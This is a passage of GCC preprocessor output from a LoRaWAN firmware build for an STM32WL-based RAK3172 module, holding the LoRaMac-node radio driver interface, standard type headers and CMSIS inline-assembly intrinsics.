"/opt/gcc-arm-none-eabi-10-2020-q4-major/arm-none-eabi/include/stdint.h" 3 4 #define INTMAX_C(x) __INTMAX_C(x) #define UINTMAX_C(x) __UINTMAX_C(x) # 10 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdint.h" 2 3 4 #define _GCC_WRAP_STDINT_H # 32 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 2 # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdbool.h" 1 3 4 # 29 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdbool.h" 3 4 #define _STDBOOL_H #define bool _Bool #define true 1 #define false 0 # 52 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stdbool.h" 3 4 #define __bool_true_false_are_defined 1 # 33 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 2 # 37 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" typedef enum { MODEM_FSK = 0, MODEM_LORA, }RadioModems_t; typedef enum { RF_IDLE = 0, RF_RX_RUNNING, RF_TX_RUNNING, RF_CAD, }RadioState_t; typedef struct { void ( *TxDone )( void ); void ( *TxTimeout )( void ); # 77 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" void ( *RxDone )( uint8_t *payload, uint16_t size, int16_t rssi, int8_t snr ); void ( *RxTimeout )( void ); void ( *RxError )( void ); void ( *FhssChangeChannel )( uint8_t currentChannel ); void ( *CadDone ) ( # 98 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 98 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" channelActivityDetected ); void ( *GnssDone )( void ); void ( *WifiDone )( void ); }RadioEvents_t; struct Radio_s { void ( *Init )( RadioEvents_t *events ); RadioState_t ( *GetStatus )( void ); void ( *SetModem )( RadioModems_t modem ); void ( *SetChannel )( uint32_t freq ); # 152 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" # 152 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 152 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" ( *IsChannelFree )( uint32_t freq, uint32_t rxBandwidth, int16_t rssiThresh, uint32_t maxCarrierSenseTime ); # 163 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" uint32_t ( *Random )( void ); # 203 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" void ( *SetRxConfig )( RadioModems_t modem, uint32_t bandwidth, uint32_t datarate, uint8_t coderate, uint32_t bandwidthAfc, uint16_t preambleLen, uint16_t symbTimeout, # 206 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 206 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" fixLen, uint8_t payloadLen, # 208 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 208 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" crcOn, # 208 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 208 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" freqHopOn, uint8_t hopPeriod, # 209 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 209 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" iqInverted, # 209 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 209 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" rxContinuous ); # 245 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" void ( *SetTxConfig )( RadioModems_t modem, int8_t power, uint32_t fdev, uint32_t bandwidth, uint32_t datarate, uint8_t coderate, uint16_t preambleLen, # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" fixLen, # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" crcOn, # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" freqHopOn, uint8_t hopPeriod, # 249 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 249 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" iqInverted, uint32_t timeout ); # 256 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 256 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" ( *CheckRfFrequency )( uint32_t frequency ); # 283 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" uint32_t ( *TimeOnAir )( RadioModems_t modem, uint32_t bandwidth, uint32_t datarate, uint8_t coderate, uint16_t preambleLen, # 285 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 285 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" fixLen, uint8_t payloadLen, # 286 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 286 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" crcOn ); void ( *Send )( uint8_t *buffer, uint8_t size ); void ( *Sleep )( void ); void ( *Standby )( void ); void ( *Rx )( uint32_t timeout ); void ( *StartCad )( void ); void ( *SetTxContinuousWave )( uint32_t freq, int8_t power, uint16_t time ); int16_t ( *Rssi )( RadioModems_t modem ); void ( *Write )( uint32_t addr, uint8_t data ); uint8_t ( *Read )( uint32_t addr ); void ( *WriteBuffer )( uint32_t addr, uint8_t *buffer, uint8_t size ); void ( *ReadBuffer )( uint32_t addr, uint8_t *buffer, uint8_t size ); void ( *SetMaxPayloadLength )( RadioModems_t modem, uint8_t max ); void ( *SetPublicNetwork )( # 371 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" 3 4 _Bool # 371 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" enable ); uint32_t ( *GetWakeupTime )( void ); void ( *IrqProcess )( void ); # 393 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" void ( *RxBoosted )( uint32_t timeout ); # 402 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/radio/radio.h" void ( *SetRxDutyCycle ) ( uint32_t rxTime, uint32_t sleepTime ); }; extern const struct Radio_s Radio; # 32 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" 1 # 38 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCommon.h" #define __REGIONCOMMON_H__ # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" 1 # 36 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" #define __LORAMAC_TYPES_H__ # 45 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/LoRaMacTypes.h" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/timer.h" 1 # 24 "/home/jenkins/workspace/RUI_Release/rui-v3/component/core/board/rak3172/timer.h" #define __TIMER_H__ # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" 1 # 44 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" #define UTIL_TIME_SERVER_H__ # 58 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" # 1 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 1 3 4 # 39 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #define _STDDEF_H #define _STDDEF_H_ #define _ANSI_STDDEF_H # 131 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #define _PTRDIFF_T #define _T_PTRDIFF_ #define _T_PTRDIFF #define __PTRDIFF_T #define _PTRDIFF_T_ #define _BSD_PTRDIFF_T_ #define ___int_ptrdiff_t_h #define _GCC_PTRDIFF_T #define _PTRDIFF_T_DECLARED # 143 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 typedef int ptrdiff_t; # 155 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_ptrdiff_t # 181 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #define __size_t__ #define __SIZE_T__ #define _SIZE_T #define _SYS_SIZE_T_H #define _T_SIZE_ #define _T_SIZE #define __SIZE_T #define _SIZE_T_ #define _BSD_SIZE_T_ #define _SIZE_T_DEFINED_ #define _SIZE_T_DEFINED #define _BSD_SIZE_T_DEFINED_ #define _SIZE_T_DECLARED #define ___int_size_t_h #define _GCC_SIZE_T #define _SIZET_ #define __size_t typedef unsigned int size_t; # 231 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_size_t # 260 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #define __wchar_t__ #define __WCHAR_T__ #define _WCHAR_T #define _T_WCHAR_ #define _T_WCHAR #define __WCHAR_T #define _WCHAR_T_ #define _BSD_WCHAR_T_ #define _WCHAR_T_DEFINED_ #define _WCHAR_T_DEFINED #define _WCHAR_T_H #define ___int_wchar_t_h #define __INT_WCHAR_T_H #define _GCC_WCHAR_T #define _WCHAR_T_DECLARED # 287 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef _BSD_WCHAR_T_ # 321 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 typedef unsigned int wchar_t; # 340 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef __need_wchar_t # 390 "/opt/gcc-arm-none-eabi-10-2020-q4-major/lib/gcc/arm-none-eabi/10.2.1/include/stddef.h" 3 4 #undef NULL #define NULL ((void *)0) #undef __need_NULL #define offsetof(TYPE,MEMBER) __builtin_offsetof (TYPE, MEMBER) # 59 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Utilities/timer/stm32_timer.h" 2 # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_compiler.h" 1 # 26 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_compiler.h" #define __CMSIS_COMPILER_H # 54 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_compiler.h" # 1 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" 1 # 26 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __CMSIS_GCC_H #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wsign-conversion" #pragma GCC diagnostic ignored "-Wconversion" #pragma GCC diagnostic ignored "-Wunused-parameter" # 41 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __ASM __asm #define __INLINE inline #define __STATIC_INLINE static inline #define __STATIC_FORCEINLINE __attribute__((always_inline)) static inline #define __NO_RETURN __attribute__((__noreturn__)) #define __USED __attribute__((used)) #define __WEAK __attribute__((weak)) #define __PACKED __attribute__((packed, aligned(1))) #define __PACKED_STRUCT struct __attribute__((packed, aligned(1))) #define __PACKED_UNION union __attribute__((packed, aligned(1))) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wpacked" #pragma GCC diagnostic ignored "-Wattributes" # 74 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" struct __attribute__((packed)) T_UINT32 { uint32_t v; }; #pragma GCC diagnostic pop #define __UNALIGNED_UINT32(x) (((struct T_UINT32 *)(x))->v) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wpacked" #pragma GCC diagnostic ignored "-Wattributes" struct __attribute__((packed, aligned(1))) T_UINT16_WRITE { uint16_t v; }; #pragma GCC diagnostic pop #define __UNALIGNED_UINT16_WRITE(addr,val) (void)((((struct T_UINT16_WRITE *)(void *)(addr))->v) = (val)) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wpacked" #pragma GCC diagnostic ignored "-Wattributes" struct __attribute__((packed, aligned(1))) T_UINT16_READ { uint16_t v; }; #pragma GCC diagnostic pop #define __UNALIGNED_UINT16_READ(addr) (((const struct T_UINT16_READ *)(const void *)(addr))->v) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wpacked" #pragma GCC diagnostic ignored "-Wattributes" struct __attribute__((packed, aligned(1))) T_UINT32_WRITE { uint32_t v; }; #pragma GCC diagnostic pop #define __UNALIGNED_UINT32_WRITE(addr,val) (void)((((struct T_UINT32_WRITE *)(void *)(addr))->v) = (val)) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wpacked" #pragma GCC diagnostic ignored "-Wattributes" struct __attribute__((packed, aligned(1))) T_UINT32_READ { uint32_t v; }; #pragma GCC diagnostic pop #define __UNALIGNED_UINT32_READ(addr) (((const struct T_UINT32_READ *)(const void *)(addr))->v) #define __ALIGNED(x) __attribute__((aligned(x))) #define __RESTRICT __restrict #define __COMPILER_BARRIER() __ASM volatile("":::"memory") # 131 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline __attribute__((__noreturn__)) void __cmsis_start(void) { extern void _start(void) __attribute__((__noreturn__)); typedef struct { uint32_t const* src; uint32_t* dest; uint32_t wlen; } __copy_table_t; typedef struct { uint32_t* dest; uint32_t wlen; } __zero_table_t; extern const __copy_table_t __copy_table_start__; extern const __copy_table_t __copy_table_end__; extern const __zero_table_t __zero_table_start__; extern const __zero_table_t __zero_table_end__; for (__copy_table_t const* pTable = &__copy_table_start__; pTable < &__copy_table_end__; ++pTable) { for(uint32_t i=0u; i<pTable->wlen; ++i) { pTable->dest[i] = pTable->src[i]; } } for (__zero_table_t const* pTable = &__zero_table_start__; pTable < &__zero_table_end__; ++pTable) { for(uint32_t i=0u; i<pTable->wlen; ++i) { pTable->dest[i] = 0u; } } _start(); } #define __PROGRAM_START __cmsis_start #define __INITIAL_SP __StackTop #define __STACK_LIMIT __StackLimit #define __VECTOR_TABLE __Vectors #define __VECTOR_TABLE_ATTRIBUTE __attribute((used, section(".vectors"))) # 196 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __enable_irq(void) { __asm volatile ("cpsie i" : : : "memory"); } __attribute__((always_inline)) static inline void __disable_irq(void) { __asm volatile ("cpsid i" : : : "memory"); } __attribute__((always_inline)) static inline uint32_t __get_CONTROL(void) { uint32_t result; __asm volatile ("MRS %0, control" : "=r" (result) ); return(result); } # 248 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_CONTROL(uint32_t control) { __asm volatile ("MSR control, %0" : : "r" (control) : "memory"); } # 272 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __get_IPSR(void) { uint32_t result; __asm volatile ("MRS %0, ipsr" : "=r" (result) ); return(result); } __attribute__((always_inline)) static inline uint32_t __get_APSR(void) { uint32_t result; __asm volatile ("MRS %0, apsr" : "=r" (result) ); return(result); } __attribute__((always_inline)) static inline uint32_t __get_xPSR(void) { uint32_t result; __asm volatile ("MRS %0, xpsr" : "=r" (result) ); return(result); } __attribute__((always_inline)) static inline uint32_t __get_PSP(void) { uint32_t result; __asm volatile ("MRS %0, psp" : "=r" (result) ); return(result); } # 344 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_PSP(uint32_t topOfProcStack) { __asm volatile ("MSR psp, %0" : : "r" (topOfProcStack) : ); } # 368 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __get_MSP(void) { uint32_t result; __asm volatile ("MRS %0, msp" : "=r" (result) ); return(result); } # 398 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_MSP(uint32_t topOfMainStack) { __asm volatile ("MSR msp, %0" : : "r" (topOfMainStack) : ); } # 449 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __get_PRIMASK(void) { uint32_t result; __asm volatile ("MRS %0, primask" : "=r" (result) :: "memory"); return(result); } # 479 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_PRIMASK(uint32_t priMask) { __asm volatile ("MSR primask, %0" : : "r" (priMask) : "memory"); } # 506 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __enable_fault_irq(void) { __asm volatile ("cpsie f" : : : "memory"); } __attribute__((always_inline)) static inline void __disable_fault_irq(void) { __asm volatile ("cpsid f" : : : "memory"); } __attribute__((always_inline)) static inline uint32_t __get_BASEPRI(void) { uint32_t result; __asm volatile ("MRS %0, basepri" : "=r" (result) ); return(result); } # 558 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_BASEPRI(uint32_t basePri) { __asm volatile ("MSR basepri, %0" : : "r" (basePri) : "memory"); } # 583 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_BASEPRI_MAX(uint32_t basePri) { __asm volatile ("MSR basepri_max, %0" : : "r" (basePri) : "memory"); } __attribute__((always_inline)) static inline uint32_t __get_FAULTMASK(void) { uint32_t result; __asm volatile ("MRS %0, faultmask" : "=r" (result) ); return(result); } # 624 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __set_FAULTMASK(uint32_t faultMask) { __asm volatile ("MSR faultmask, %0" : : "r" (faultMask) : "memory"); } # 833 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __get_FPSCR(void) { # 849 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" return(0U); } __attribute__((always_inline)) static inline void __set_FPSCR(uint32_t fpscr) { # 872 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" (void)fpscr; } # 894 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __CMSIS_GCC_OUT_REG(r) "=r" (r) #define __CMSIS_GCC_RW_REG(r) "+r" (r) #define __CMSIS_GCC_USE_REG(r) "r" (r) #define __NOP() __ASM volatile ("nop") #define __WFI() __ASM volatile ("wfi") #define __WFE() __ASM volatile ("wfe") #define __SEV() __ASM volatile ("sev") # 933 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __ISB(void) { __asm volatile ("isb 0xF":::"memory"); } __attribute__((always_inline)) static inline void __DSB(void) { __asm volatile ("dsb 0xF":::"memory"); } __attribute__((always_inline)) static inline void __DMB(void) { __asm volatile ("dmb 0xF":::"memory"); } # 967 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __REV(uint32_t value) { return __builtin_bswap32(value); } # 986 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __REV16(uint32_t value) { uint32_t result; __asm volatile ("rev16 %0, %1" : "=r" (result) : "r" (value) ); return result; } # 1001 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline int16_t __REVSH(int16_t value) { return (int16_t)__builtin_bswap16(value); } # 1021 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __ROR(uint32_t op1, uint32_t op2) { op2 %= 32U; if (op2 == 0U) { return op1; } return (op1 >> op2) | (op1 << (32U - op2)); } # 1039 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __BKPT(value) __ASM volatile ("bkpt "#value) # 1048 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __RBIT(uint32_t value) { uint32_t result; __asm volatile ("rbit %0, %1" : "=r" (result) : "r" (value) ); # 1068 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" return result; } # 1078 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint8_t __CLZ(uint32_t value) { # 1089 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" if (value == 0U) { return 32U; } return __builtin_clz(value); } # 1107 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint8_t __LDREXB(volatile uint8_t *addr) { uint32_t result; __asm volatile ("ldrexb %0, %1" : "=r" (result) : "Q" (*addr) ); return ((uint8_t) result); } # 1129 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint16_t __LDREXH(volatile uint16_t *addr) { uint32_t result; __asm volatile ("ldrexh %0, %1" : "=r" (result) : "Q" (*addr) ); return ((uint16_t) result); } # 1151 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __LDREXW(volatile uint32_t *addr) { uint32_t result; __asm volatile ("ldrex %0, %1" : "=r" (result) : "Q" (*addr) ); return(result); } # 1168 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __STREXB(uint8_t value, volatile uint8_t *addr) { uint32_t result; __asm volatile ("strexb %0, %2, %1" : "=&r" (result), "=Q" (*addr) : "r" ((uint32_t)value) ); return(result); } # 1185 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __STREXH(uint16_t value, volatile uint16_t *addr) { uint32_t result; __asm volatile ("strexh %0, %2, %1" : "=&r" (result), "=Q" (*addr) : "r" ((uint32_t)value) ); return(result); } # 1202 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __STREXW(uint32_t value, volatile uint32_t *addr) { uint32_t result; __asm volatile ("strex %0, %2, %1" : "=&r" (result), "=Q" (*addr) : "r" (value) ); return(result); } __attribute__((always_inline)) static inline void __CLREX(void) { __asm volatile ("clrex" ::: "memory"); } # 1236 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __SSAT(ARG1,ARG2) __extension__ ({ int32_t __RES, __ARG1 = (ARG1); __ASM ("ssat %0, %1, %2" : "=r" (__RES) : "I" (ARG2), "r" (__ARG1) ); __RES; }) # 1252 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" #define __USAT(ARG1,ARG2) __extension__ ({ uint32_t __RES, __ARG1 = (ARG1); __ASM ("usat %0, %1, %2" : "=r" (__RES) : "I" (ARG2), "r" (__ARG1) ); __RES; }) # 1268 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __RRX(uint32_t value) { uint32_t result; __asm volatile ("rrx %0, %1" : "=r" (result) : "r" (value) ); return(result); } # 1283 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint8_t __LDRBT(volatile uint8_t *ptr) { uint32_t result; __asm volatile ("ldrbt %0, %1" : "=r" (result) : "Q" (*ptr) ); return ((uint8_t) result); } # 1305 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint16_t __LDRHT(volatile uint16_t *ptr) { uint32_t result; __asm volatile ("ldrht %0, %1" : "=r" (result) : "Q" (*ptr) ); return ((uint16_t) result); } # 1327 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline uint32_t __LDRT(volatile uint32_t *ptr) { uint32_t result; __asm volatile ("ldrt %0, %1" : "=r" (result) : "Q" (*ptr) ); return(result); } # 1342 "/home/jenkins/workspace/RUI_Release/rui-v3/external/STM32CubeWL/Drivers/CMSIS/Include/cmsis_gcc.h" __attribute__((always_inline)) static inline void __STRBT(uint8_t value, volatile uint8_t *ptr) { __asm volatile ("strbt %1, %0" : "=Q" (*ptr) : "r" ((uint32_t)value) ); } # 1354 